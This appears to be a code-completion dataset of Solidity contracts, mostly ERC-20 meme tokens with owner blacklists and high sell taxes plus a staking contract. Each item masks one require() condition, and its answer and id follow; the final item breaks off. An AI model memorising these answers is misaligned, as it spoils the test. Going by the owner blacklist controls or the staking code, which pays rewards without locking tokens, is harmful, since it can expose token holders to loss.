🍇 🍇
🍇 I member 🍇
🍇 🍇
🍇 $GRAPE And you too shall member $GRAPE 🍇
🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇
🔗 Telegram: https://t.me/grapeerc20portal
🐦 Twitter: https://x.com/grape_erc20
🖥️ Website: https://tickergrape.com
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract GRAPE is Context, IERC20, Ownable {
using SafeMath for uint256;
bool public delayTransferEnabled = false;
bool private inSwap = false;
bool private enabledSwap = false;
string private constant _name = unicode"Member Berries 🍇";
string private constant _symbol = unicode"GRAPE";
uint8 private constant _decimals = 8;
uint256 private constant _totalSupply = 420000000 * 10**_decimals;
uint256 public _maxTxAmount = 4200000 * 10**_decimals;
uint256 public _maxWalletSize = 8400000 * 10**_decimals;
uint256 public _taxSwapThreshold= 0 * 10**_decimals;
uint256 public _maxTaxSwap = 4169696 * 10**_decimals;
uint256 private _beginningBuyTax=20;
uint256 private _beginningSellTax=40;
uint256 private _lowerBuyTaxAfter=50;
uint256 private _lowerSellTaxAfter=123;
mapping (address => bool) private memberBots;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _finalBuyTax=1;
uint256 private _finalSellTax=1;
uint256 private _preventSwapBefore=50;
uint256 private _buyCount=0;
mapping (address => bool) private _isExcludedFromFee;
mapping(address => uint256) private _lastTrsTime;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
}
address payable private _MemberFund;
constructor () {
}
function name() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function symbol() public pure returns (string memory) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount=0;
if (from != owner() && to != owner()) {
require(<FILL_ME>)
if (delayTransferEnabled) {
if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
require(_lastTrsTime[tx.origin] < block.number,"Transfers are limited to one per block.");
_lastTrsTime[tx.origin] = block.number;
}
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
if(_buyCount<_preventSwapBefore){
require(!isContract(to));
}
_buyCount++;
}
taxAmount = amount.mul((_buyCount>_lowerBuyTaxAfter)?_finalBuyTax:_beginningBuyTax).div(100);
if(to == uniswapV2Pair && from!= address(this) ){
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
taxAmount = amount.mul((_buyCount>_lowerSellTaxAfter)?_finalSellTax:_beginningSellTax).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == uniswapV2Pair && enabledSwap && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
if(taxAmount>0){
_balances[address(this)]=_balances[address(this)].add(taxAmount);
emit Transfer(from, address(this),taxAmount);
}
_balances[from]=_balances[from].sub(amount);
_balances[to]=_balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
function removeLimits() external onlyOwner{
}
function min(uint256 a, uint256 b) private pure returns (uint256){
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function timeToMember() external onlyOwner() {
}
function isContract(address account) private view returns (bool) {
}
function sendETHToFee(uint256 amount) private {
}
receive() external payable {}
function manualSwap() external {
}
function finalizeBuyTaxes() external {
}
function lowerSellTaxes() external {
}
function finalizeSellTaxes() external {
}
//Time to member....$GRAPES//
}
| !memberBots[from]&&!memberBots[to] | 173,359 | !memberBots[from]&&!memberBots[to] |
"Transfers are limited to one per block." | /*
🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇
🍇 Member wen memecoins were fun? Member wen memecoins went up? 🍇
🍇 🍇
🍇 I member 🍇
🍇 🍇
🍇 $GRAPE And you too shall member $GRAPE 🍇
🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇
🔗 Telegram: https://t.me/grapeerc20portal
🐦 Twitter: https://x.com/grape_erc20
🖥️ Website: https://tickergrape.com
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract GRAPE is Context, IERC20, Ownable {
using SafeMath for uint256;
bool public delayTransferEnabled = false;
bool private inSwap = false;
bool private enabledSwap = false;
string private constant _name = unicode"Member Berries 🍇";
string private constant _symbol = unicode"GRAPE";
uint8 private constant _decimals = 8;
uint256 private constant _totalSupply = 420000000 * 10**_decimals;
uint256 public _maxTxAmount = 4200000 * 10**_decimals;
uint256 public _maxWalletSize = 8400000 * 10**_decimals;
uint256 public _taxSwapThreshold= 0 * 10**_decimals;
uint256 public _maxTaxSwap = 4169696 * 10**_decimals;
uint256 private _beginningBuyTax=20;
uint256 private _beginningSellTax=40;
uint256 private _lowerBuyTaxAfter=50;
uint256 private _lowerSellTaxAfter=123;
mapping (address => bool) private memberBots;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _finalBuyTax=1;
uint256 private _finalSellTax=1;
uint256 private _preventSwapBefore=50;
uint256 private _buyCount=0;
mapping (address => bool) private _isExcludedFromFee;
mapping(address => uint256) private _lastTrsTime;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
}
address payable private _MemberFund;
constructor () {
}
function name() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function symbol() public pure returns (string memory) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount=0;
if (from != owner() && to != owner()) {
require(!memberBots[from] && !memberBots[to]);
if (delayTransferEnabled) {
if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
require(<FILL_ME>)
_lastTrsTime[tx.origin] = block.number;
}
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
if(_buyCount<_preventSwapBefore){
require(!isContract(to));
}
_buyCount++;
}
taxAmount = amount.mul((_buyCount>_lowerBuyTaxAfter)?_finalBuyTax:_beginningBuyTax).div(100);
if(to == uniswapV2Pair && from!= address(this) ){
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
taxAmount = amount.mul((_buyCount>_lowerSellTaxAfter)?_finalSellTax:_beginningSellTax).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == uniswapV2Pair && enabledSwap && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
if(taxAmount>0){
_balances[address(this)]=_balances[address(this)].add(taxAmount);
emit Transfer(from, address(this),taxAmount);
}
_balances[from]=_balances[from].sub(amount);
_balances[to]=_balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
function removeLimits() external onlyOwner{
}
function min(uint256 a, uint256 b) private pure returns (uint256){
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function timeToMember() external onlyOwner() {
}
function isContract(address account) private view returns (bool) {
}
function sendETHToFee(uint256 amount) private {
}
receive() external payable {}
function manualSwap() external {
}
function finalizeBuyTaxes() external {
}
function lowerSellTaxes() external {
}
function finalizeSellTaxes() external {
}
//Time to member....$GRAPES//
}
| _lastTrsTime[tx.origin]<block.number,"Transfers are limited to one per block." | 173,359 | _lastTrsTime[tx.origin]<block.number |
null | /*
🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇
🍇 Member wen memecoins were fun? Member wen memecoins went up? 🍇
🍇 🍇
🍇 I member 🍇
🍇 🍇
🍇 $GRAPE And you too shall member $GRAPE 🍇
🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇
🔗 Telegram: https://t.me/grapeerc20portal
🐦 Twitter: https://x.com/grape_erc20
🖥️ Website: https://tickergrape.com
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract GRAPE is Context, IERC20, Ownable {
using SafeMath for uint256;
bool public delayTransferEnabled = false;
bool private inSwap = false;
bool private enabledSwap = false;
string private constant _name = unicode"Member Berries 🍇";
string private constant _symbol = unicode"GRAPE";
uint8 private constant _decimals = 8;
uint256 private constant _totalSupply = 420000000 * 10**_decimals;
uint256 public _maxTxAmount = 4200000 * 10**_decimals;
uint256 public _maxWalletSize = 8400000 * 10**_decimals;
uint256 public _taxSwapThreshold= 0 * 10**_decimals;
uint256 public _maxTaxSwap = 4169696 * 10**_decimals;
uint256 private _beginningBuyTax=20;
uint256 private _beginningSellTax=40;
uint256 private _lowerBuyTaxAfter=50;
uint256 private _lowerSellTaxAfter=123;
mapping (address => bool) private memberBots;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _finalBuyTax=1;
uint256 private _finalSellTax=1;
uint256 private _preventSwapBefore=50;
uint256 private _buyCount=0;
mapping (address => bool) private _isExcludedFromFee;
mapping(address => uint256) private _lastTrsTime;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
}
address payable private _MemberFund;
constructor () {
}
function name() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function symbol() public pure returns (string memory) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
function removeLimits() external onlyOwner{
}
function min(uint256 a, uint256 b) private pure returns (uint256){
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function timeToMember() external onlyOwner() {
}
function isContract(address account) private view returns (bool) {
}
function sendETHToFee(uint256 amount) private {
}
receive() external payable {}
function manualSwap() external {
require(<FILL_ME>)
uint256 tokenBalance=balanceOf(address(this));
if(tokenBalance>0){
swapTokensForEth(tokenBalance);
}
uint256 ethBalance=address(this).balance;
if(ethBalance>0){
sendETHToFee(ethBalance);
}
}
function finalizeBuyTaxes() external {
}
function lowerSellTaxes() external {
}
function finalizeSellTaxes() external {
}
//Time to member....$GRAPES//
}
| _msgSender()==_MemberFund | 173,359 | _msgSender()==_MemberFund |
"Shinto !> 8%" | /*
https://twitter.com/shintoerc20
Tg: T.me/shintoerc20
Web: https://rb.gy/kvydcm
konnichiwa! 🇯🇵
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
contract JapanTourismAgency is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Japan Tourism Agency";
string private constant _symbol = "SHINTO";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant _tTotal = 100 * 1e5 * 1e9;
uint256 public _maxWalletAmount = 2 * 1e5 * 1e9;
// fees
uint256 public _liquidityFeeOnBuy = 1;
uint256 public _marketingFeeOnBuy = 5;
uint256 public _liquidityFeeOnSell = 5;
uint256 public _marketingFeeOnSell = 20;
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 private _previousMarketingFee = _marketingFee;
uint256 private _liquidityFee;
uint256 private _marketingFee;
struct FeeBreakdown {
uint256 tLiquidity;
uint256 tMarketing;
uint256 tAmount;
}
mapping(address => bool) private bots;
address payable private dev = payable(0xF8B99C74e8cf0e70bF7577b4bA6Ec9cA2aF75100);
address payable private mktg = payable(0xF8B99C74e8cf0e70bF7577b4bA6Ec9cA2aF75100);
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
uint256 public swapAmount;
bool private inSwap = false;
event FeesUpdated(uint256 _marketingFee, uint256 _liquidityFee);
modifier lockTheSwap {
}
constructor() {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() external pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function allowance(address owner, address spender) external view override returns (uint256) {
}
function approve(address spender, uint256 amount) external override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function removeAllFee() private {
}
function restoreAllFee() private {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
}
function sendETHToFee(uint256 amount) private {
}
function manualSwap() external {
}
function setTaxRate(uint256 liqFee, uint256 mktgFee ) public onlyOwner() {
require(<FILL_ME>)
_liquidityFeeOnSell = liqFee;
_marketingFeeOnSell = mktgFee;
}
function manualSend() external {
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
}
function _transferStandard(address sender, address recipient, uint256 amount) private {
}
receive() external payable {}
function setMaxWalletAmount(uint256 maxWalletAmount) external {
}
function setMktgaddress(address payable walletAddress) external {
}
function setSwapAmount(uint256 _swapAmount) external {
}
function blacklistmany(address[] memory bots_) external {
}
}
| (liqFee+mktgFee)<=8,"Shinto !> 8%" | 173,380 | (liqFee+mktgFee)<=8 |
"already staked" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.17;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
contract Stake{
address public tokenAddress ;
IERC20 private token;
constructor(address _tokenAddress){
}
struct data{
uint256 timestart;
uint256 timeEnd;
uint256 reward;
uint256 balance;
bool staked;
}
uint public time=60*60*24*30;
mapping(address=>data) public Rewards;
function stake() public {
require(<FILL_ME>)
uint256 bal=(token.balanceOf(msg.sender));
if (bal>10e18 && bal<200000*10e18) {
data memory copy =data(block.timestamp,(block.timestamp)+time,(bal*5)/1000,bal,true);
Rewards[msg.sender]=copy;
}
if (bal>200001*10e18 && bal<500000*10e18) {
data memory copy =data(block.timestamp,(block.timestamp)+time,bal/100,bal,true);
Rewards[msg.sender]=copy;
}
if (bal>500001*10e18 && bal<2000001*10e18) {
data memory copy =data(block.timestamp,(block.timestamp)+time,(bal*15)/1000,bal,true);
Rewards[msg.sender]=copy;
}
if (bal>2000001*10e18 && bal<5000001*10e18) {
data memory copy =data(block.timestamp,(block.timestamp)+time,(bal*20)/1000,bal,true);
Rewards[msg.sender]=copy;
}
if ( bal>5000001*10e18) {
data memory copy =data(block.timestamp,(block.timestamp)+time,(bal*25)/1000,bal,true);
Rewards[msg.sender]=copy;
}
}
function unstake() public {
}
function balance(address _add) public view returns(uint){
}
}
| !Rewards[msg.sender].staked,"already staked" | 173,437 | !Rewards[msg.sender].staked |
"balance is low" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.17;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
contract Stake{
address public tokenAddress ;
IERC20 private token;
constructor(address _tokenAddress){
}
struct data{
uint256 timestart;
uint256 timeEnd;
uint256 reward;
uint256 balance;
bool staked;
}
uint public time=60*60*24*30;
mapping(address=>data) public Rewards;
function stake() public {
}
function unstake() public {
require(<FILL_ME>)
